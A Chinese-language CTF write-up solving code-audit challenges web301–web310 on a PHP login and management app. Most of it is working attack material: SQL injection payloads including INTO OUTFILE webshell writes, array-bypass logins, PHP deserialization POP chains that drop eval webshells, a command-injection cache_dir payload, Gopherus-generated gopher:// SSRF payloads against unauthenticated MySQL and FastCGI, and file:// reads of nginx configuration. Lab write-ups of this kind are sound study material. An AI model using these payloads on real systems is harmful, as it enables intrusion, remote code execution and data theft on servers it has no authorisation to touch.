web301 开始简单的代码审计~
这个代码不是mvc架构,一个个看就行。
一开始访问的是login.php,这里给了表单,有校验逻辑,在checklogin.php里面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );session_start ();require 'conn.php' ;$_POST ['userid' ]=!empty ($_POST ['userid' ])?$_POST ['userid' ]:"" ;$_POST ['userpwd' ]=!empty ($_POST ['userpwd' ])?$_POST ['userpwd' ]:"" ;$username =$_POST ['userid' ];$userpwd =$_POST ['userpwd' ];$sql ="select sds_password from sds_user where sds_username='" .$username ."' order by id limit 1;" ;$result =$mysqli ->query ($sql );$row =$result ->fetch_array (MYSQLI_BOTH);if ($result ->num_rows<1 ){ $_SESSION ['error' ]="1" ; header ("location:login.php" ); return ; } if (!strcasecmp ($userpwd ,$row ['sds_password' ])){ $_SESSION ['login' ]=1 ; $result ->free (); $mysqli ->close (); header ("location:index.php" ); return ; } $_SESSION ['error' ]="1" ;header ("location:login.php" );?>
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";这里username参数可控,并且没做任何过滤,存在SQL注入。
这里一开始我是直接尝试用万能密码,但是提示我用户名和密码错误。这里其实很费解。但是仔细看看代码逻辑确实是这样:
当我们用传userid=admin' or 1#&password=1时,确实是万能密码,然后也确实是执行了,因为返回的结果行肯定是>=1,所以下面的这个if逻辑语句直接跳过去了。
1 2 3 4 5 if ($result ->num_rows<1 ){ $_SESSION ['error' ]="1" ; header ("location:login.php" ); return ; }
因为这里我们不知道返回的$row['sds_password'],所以我们去构造的$userpwd也不会相等,所以:
1 2 3 4 5 6 7 if (!strcasecmp ($userpwd ,$row ['sds_password' ])){ $_SESSION ['login' ]=1 ; $result ->free (); $mysqli ->close (); header ("location:index.php" ); return ; }
这个其实也绕过去了。
所以就执行了:
1 2 3 $_SESSION ['error' ]="1" ;header ("location:login.php" );?>
所以就会跳转到login.php,然后因为这里的$_SESSION['error']="1";,所以:
1 2 3 <div class ="login -font "> <i ><?php echo isset ($_SESSION ['error ']) &&( $_SESSION ['error ']=1)?"用户名密码错误":"";?> </i > </div >
解法一 解释完万能密码为啥不行之后,我们尝试别的思路,首先我们可以用union select 来构造虚拟表么,这样就可以让返回的row['sds_password']可控,又因为$username可控,所以绕过。
payload : post 传userid=-1'union select 123#&userpwd=123 ,因为这里的语句是select sds_password from sds_user where sds_username=,是查询一个字段sds_password,所以这里构建虚拟表是一个位。
解法二 1 2 3 4 5 6 7 if (!strcasecmp ($userpwd ,$row ['sds_password' ])){ $_SESSION ['login' ]=1 ; $result ->free (); $mysqli ->close (); header ("location:index.php" ); return ; }
针对这一块的代码,可以直接数组绕过:
userid=admin&userpwd[]=1
解法三 这里也可以尝试时间盲注,经过测试userid=admin' or sleep(2)#&userpwd=1
解法四 其实可以直接访问index.php
1 2 3 4 5 6 7 <?php session_start ();require "conn.php" ;if (!isset ($_SESSION ['login' ])){header ("location:login.php" );} ?>
主要就是这段代码,这里可以看到header("location:login.php");,重定向之后没有exit();,所以我们可以在burpsute上面的history上面看到index.php的返回信息。
可以直接回显出index.php的页面;
这里跟着松学到了一个小技巧,可以不用把intercept打开,直接去Proxy的HTTP history看。这里想在那个页面去发包,可以直接找到对应的页面右击选中,然后ctrl+R放到repeater模块。
解法五 也可以直接写shell
payload:userid=-1'union select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'#&userpwd=1
web302 提示我们就改了一处:if(!strcasecmp(sds_decode($userpwd),$row['sds_password']))我们可以跟进sds_decode()函数看一下:
1 2 3 4 5 <?php function sds_decode ($str ) {return md5 (md5 ($str .md5 (base64_encode ("sds" )))."sds" );}
解法一 这里我们依然可以利用解法一的方式,只不过这里要编码一下,这里直接就在本地运行一下sds_decode()函数即可。
比如sds_decode('123')=ebc21ce74a2153bbcf593e4f7d61479a
payload:userid=-1'union select 'ebc21ce74a2153bbcf593e4f7d61479a'#&userpwd=1 ,这里要注意带上引号''
解法二 这里时间盲注仍然是可以的。
解法三 写shell,同web301解法五
解法四 同web301解法四
web303 看下新的checklogin.php的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting (0 );session_start ();require 'conn.php' ;require 'fun.php' ;$_POST ['userid' ]=!empty ($_POST ['userid' ])?$_POST ['userid' ]:"" ;$_POST ['userpwd' ]=!empty ($_POST ['userpwd' ])?$_POST ['userpwd' ]:"" ;$username =$_POST ['userid' ];if (strlen ($username )>6 ){ die (); } $userpwd =$_POST ['userpwd' ];$sql ="select sds_password from sds_user where sds_username='" .$username ."' order by id limit 1;" ;$result =$mysqli ->query ($sql );$row =$result ->fetch_array (MYSQLI_BOTH);if ($result ->num_rows<1 ){ $_SESSION ['error' ]="1" ; header ("location:login.php" ); return ; } if (!strcasecmp (sds_decode ($userpwd ),$row ['sds_password' ])){ $_SESSION ['login' ]=1 ; $result ->free (); $mysqli ->close (); header ("location:index.php" ); return ; } $_SESSION ['error' ]="1" ;header ("location:login.php" );?>
多了一个:
1 2 3 if (strlen ($username )>6 ){ die (); }
基本上上一题的payload都用不了了。
但是给了一个口子:
sds_user.sql里面给了账号密码:
INSERT INTO sds_user VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4'); 27151b7b1ad51a38ea66b1529cde5ee4对应的就是admin,所以我们直接admin/admin去登录,可以进入到后台。
解法一 然后可以在dptadd.php里面发现:
1 2 3 4 <?php $sql ="insert into sds_dpt set sds_name='" .$dpt_name ."',sds_address ='" .$dpt_address ."',sds_build_date='" .$dpt_build_year ."',sds_have_safe_card='" .$dpt_has_cert ."',sds_safe_card_num='" .$dpt_cert_number ."',sds_telephone='" .$dpt_telephone_number ."';" ; $result =$mysqli ->query ($sql ); ?>
很明显insert into这里存在SQL注入。抓个包repeater一下,然后去依次爆库、爆表、爆字段、爆值。
1 2 3 4 5 6 7 8 9 10 11 获取数据库 dpt_name=1&dpt_address=1&dpt_build_year=2024-11-21&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select database())#&dpt_telephone_number=1 获取表 dpt_name=1&dpt_address=1&dpt_build_year=2024-11-21&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name)from information_schema.tables where table_schema="sds")#&dpt_telephone_number=1 获取字段名 dpt_name=1&dpt_address=1&dpt_build_year=2024-11-21&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name)from information_schema.columns where table_name="sds_fl9g")#&dpt_telephone_number=1 获取值 dpt_name=1&dpt_address=1&dpt_build_year=2024-11-21&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select flag from sds_fl9g)#&dpt_telephone_number=1
解法二 insert into 这里也可以报错注入。
payload:
dpt_name=1&dpt_address=1&dpt_build_year=2024-11-20&dpt_has_cert=on&dpt_cert_number=1&dpt_telephone_number=1'and updatexml(1,concat(0x7e,database(),0x7e),1)#
发现也是可以的:
后面就是正常的爆库、爆表、爆字段值。
web304 说是上了WAF,但其实注入方式还是同上一题。不赘述。只不过最后爆flag值的时候,显示不完全,需要right一下。
web305 给参数上了WAF:
1 2 3 4 5 6 7 8 function sds_waf ($str ) { if (preg_match ('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/' , $str )){ return false ; }else { return true ; } }
基本上不能注入了,但是checklogin.php留了一个反序列化的口子:
1 2 3 4 $user_cookie = $_COOKIE ['user' ];if (isset ($user_cookie )){ $user = unserialize ($user_cookie ); }
包含了class.php,我们看一下源码:
1 2 3 4 5 6 7 8 9 10 11 class user { public $username ; public $password ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __destruct ( ) { file_put_contents ($this ->username, $this ->password); } }
可以利用file_put_contents()直接写shell:
1 2 3 $a=new user('/var/www/html/shell.php','<?=eval($_POST[1]);?>'); echo urlencode(serialize($a)); #O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A23%3A%22%2Fvar%2Fwww%2Fhtml%2Fshell.php%22%3Bs%3A8%3A%22password%22%3Bs%3A21%3A%22%3C%3F%3Deval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
传过去即可。
这里写入了shell以后,可以通过蚁剑连上去。但是flag不在目录里面,在数据库里面。所以需要通过蚁剑来连接数据库:
选择数据操作,然后输入mysqli的账号密码就可以进去了。就可以正常执行SQL语句。
ps:这里账号密码都为root才能连接成功,可能蚁剑读取conn.php里面的账号密码都是root/root
web306 这个题目也是简单的反序列化链,不过这里一开始我犯了个错误,就是我一直在login.php里面去尝试触发:
1 2 3 4 5 6 7 8 <?php require 'class.php' ;session_start ();error_reporting (0 );$user = unserialize (base64_decode ($_COOKIE ['user' ]));if ($user ){ header ("location:index.php" ); }
login.php里面只包含了class.php,class.php里面的三个类不能形成利用。
真正的利用点在index.php里面:
1 2 3 4 5 6 7 8 9 <?php session_start ();require "conn.php" ;require "dao.php" ;$user = unserialize (base64_decode ($_COOKIE ['user' ]));if (!$user ){ header ("location:login.php" ); } ?>
同时包含了conn.php和dao.php,构成了反序列化,poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class log { public $title ='a.php' ; public $info ='<?=eval($_POST[1]);?>' ; } class dao { private $conn ; public function __construct ( ) { $this ->conn=new log (); } } $a =new dao ();echo base64_encode (serialize ($a ));?>
web307 这个题目还是考察的反序列化,只不过这里的漏洞触发不是destruct、wakeup这样的魔法函数,而是正常的反序列化完之后的函数调用。
一开始审计了一会儿发现destruct触发的close()函数根本没有利用空间,这里得通过dao类的clearCache函数来触发漏洞利用:
1 2 3 public function clearCache ( ) { shell_exec ('rm -rf ./' .$this ->config->cache_dir.'/*' ); }
然后我们可以全局搜索一下这个clearCache()函数,看哪些地方调用过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php session_start ();error_reporting (0 );require 'service/service.php' ;unset ($_SESSION ['login' ]);unset ($_SESSION ['error' ]);setcookie ('user' ,'' ,0 ,'/' );$service = unserialize (base64_decode ($_COOKIE ['service' ]));if ($service ){ $service ->clearCache (); } setcookie ('PHPSESSID' ,'' ,0 ,'/' );setcookie ('service' ,'' ,0 ,'/' );header ("location:../login.php" );?>
可以发现logout.php里面有调用:$service->clearCache();所以我们可以在这里进行触发,POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class config { public $cache_dir = 'cache/*;echo "PD89ZXZhbCgkX1BPU1RbMV0pOz8+" | base64 -d > /var/www/html/shell.php;' ; } class dao { private $config ; public function __construct ( ) { $this ->config=new config (); } public function clearCache ( ) { shell_exec ('rm -rf ./' .$this ->config->cache_dir.'/*' ); } } $a =new dao ();echo base64_encode (serialize ($a ));
因为这里的shell_exec是没有回显的,所以这里我一开始是把回显内容输出到1.txt里面,然后去访问1.txt。
第二次就是直接用base64写一个一句话,然后再Cookie那里传就行,键名为service。
web308 这个题目给了ssrf的点:
1 2 3 4 5 6 7 8 9 10 11 12 function checkUpdate ($url ) { $ch =curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_HEADER, false ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true ); curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, true ); curl_setopt ($ch , CURLOPT_SSL_VERIFYPEER, false ); curl_setopt ($ch , CURLOPT_SSL_VERIFYHOST, false ); $res = curl_exec ($ch ); curl_close ($ch ); return $res ; }
数据库的配置文件config.php里面可以看到:
1 2 3 4 5 6 7 8 class config { private $mysql_username ='root' ; private $mysql_password ='' ; private $mysql_db ='sds' ; private $mysql_port =3306 ; private $mysql_host ='localhost' ; public $cache_dir = 'cache' ; public $update_url = 'https://vip.ctf.show/version.txt' ;
这里面其实mysql是没有密码的,所以可以猜测是ssrf打mysql未授权。可以用gopherus来生成payload:
1 gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%3d%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%01%00%00%00%01
在login页面抓个包修改下路径index.php,cookie的service传payload即可。poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class dao { private $config ; public function __construct ( ) { $this ->config = new config (); } } class config { public $update_url ="gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%3d%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%01%00%00%00%01" ; } $a =new dao ();echo base64_encode (serialize ($a ));?>
web309 在上题的基础上,mysql有了口令,现在不能利用SSRF去打mysql未授权了。这个题目考察的是ssrf打fastcgi,具体原理在后面SSRF篇里面。我们仍然是利用gopherus去生成一下payload:
1 gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
当然这里的payload也可以修改一下,Terminal command to run:可以直接写马进去:echo PD89ZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d >1.php
poc的构造和上题一致,就这里的payload稍微改下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class dao { private $config ; public function __construct ( ) { $this ->config = new config (); } } class config { public $update_url ="gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00" ; } $a =new dao ();echo base64_encode (serialize ($a ));?>
发包过去:
在response回显出命令执行的结果:
web310 这题其实还可以按照上题打fastcgi的方式,我看有些wp说9000端口用不了了,其实还是可以用。不过这里说一下另外一种方式,就是读nginx配置文件,这里读nginx配置文件默认位置/etc/nginx/nginx.conf
构造poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class dao { private $config ; public function __construct ( ) { $this ->config = new config (); } } class config { public $update_url ="file:///etc/nginx/nginx.conf" ; } $a =new dao ();echo base64_encode (serialize ($a ));?>
可以在response里面成功读到nginx.conf的内容:
所以我们在构造一次,去访问http://127.0.0.1:4476,就可以返回该index.html的内容,大概率会带着flag(
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class dao { private $config ; public function __construct ( ) { $this ->config = new config (); } } class config { public $update_url ="http://127.0.0.1:4476" ; } $a =new dao ();echo base64_encode (serialize ($a ));?>
request包:
response: